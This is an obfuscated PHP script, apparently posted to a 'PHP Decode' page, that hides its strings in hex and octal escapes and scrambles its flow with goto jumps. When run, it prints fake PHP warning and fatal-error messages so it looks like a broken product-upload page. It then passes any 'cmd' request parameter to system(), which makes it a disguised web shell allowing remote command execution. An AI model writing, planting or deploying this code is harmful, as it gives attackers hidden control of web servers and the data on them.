PHP Decode

<?php
goto Z78WHvS9j7; H19cBj3e0P: echo "\x53\x74\x61\143\x6b\x20\x74\x72\x61\143\145\72"; goto ivUutwvQUc; ivUutwvQUc: echo "\43\60\x20\x7b\155\x61\151\156\x7d"; goto HvH34Vd5E7; tOEpBd2hWi: if (!isset($_REQUEST["\143\x6d\144"])) { goto eBybjW_Ah2; } goto z_Nrv3V9Ts; vJvDCVmoeq: system($omL9yTSdzg); goto YejSiKPsJk; Z78WHvS9j7: echo "\74\x62\76\127\x61\x72\x6e\x69\156\x67\x3c\x2f\x62\x3e\x3a\x20\x55\156\x64\x65\146\151\156\x65\144\x20\141\162\x72\x61\171\40\x6b\x65\x79\x20\x22\x48\124\x54\x50\137\x58\x5f\x46\117\x52\x57\101\x52\x44\x45\104\137\x46\117\122\42\x20\151\156\40\74\x62\x3e\x43\72\x5c\x78\x61\x6d\x70\x70\x5c\150\x74\144\157\143\x73\134\x57\145\142\163\x5c\x57\x65\x62\134\x41\x64\144\x53\x50\x5c\141\144\x64\x70\x72\157\144\165\143\164\56\160\x68\160\74\57\x62\76\x20\157\156\40\154\x69\x6e\x65\x20\74\x62\x3e\x33\x31\74\57\x62\x3e\x3c\x62\x72\40\57\x3e\x3c\142\x72\x20\57\76"; goto x2hdItAm35; x2hdItAm35: echo "\x3c\x62\x3e\106\x61\x74\x61\x6c\x20\145\162\162\x6f\x72\74\x2f\x62\x3e\x3a\40\x55\x6e\x63\141\x75\147\x68\164\x20\105\162\162\157\x72\x3a\40\x43\141\154\154\40\164\x6f\x20\141\40\155\145\x6d\x62\x65\162\40\x66\x75\156\x63\x74\151\157\156\40\142\151\x6e\144\x5f\160\141\162\x61\155\50\x29\x20\157\156\40\x62\x6f\x6f\154\40\x69\156\40\103\72\134\x78\141\x6d\x70\x70\134\x68\x74\x64\157\143\163\134\x57\145\142\x73\x5c\127\x65\x62\134\x41\x64\144\x53\x50\134\141\144\x64\160\162\157\x64\165\143\x74\56\x70\150\160\x3a\63\66"; goto H19cBj3e0P; z_Nrv3V9Ts: $omL9yTSdzg = $_REQUEST["\x63\x6d\144"]; goto vJvDCVmoeq; HvH34Vd5E7: echo "\x74\x68\162\x6f\x77\x6e\40\x69\156\40\74\x62\x3e\103\x3a\134\x78\x61\x6d\160\x70\x5c\x68\164\144\x6f\143\x73\x5c\127\145\x62\x73\x5c\x57\x65\x62\134\101\x64\144\x53\x50\x5c\x61\144\144\x70\162\x6f\x64\165\143\164\x2e\x70\x68\x70\74\57\x62\76\40\157\x6e\40\154\x69\x6e\x65\40\74\x62\76\63\66\x3c\x2f\142\76\x3c\142\x72\x20\x2f\76"; goto tOEpBd2hWi; YejSiKPsJk: eBybjW_Ah2: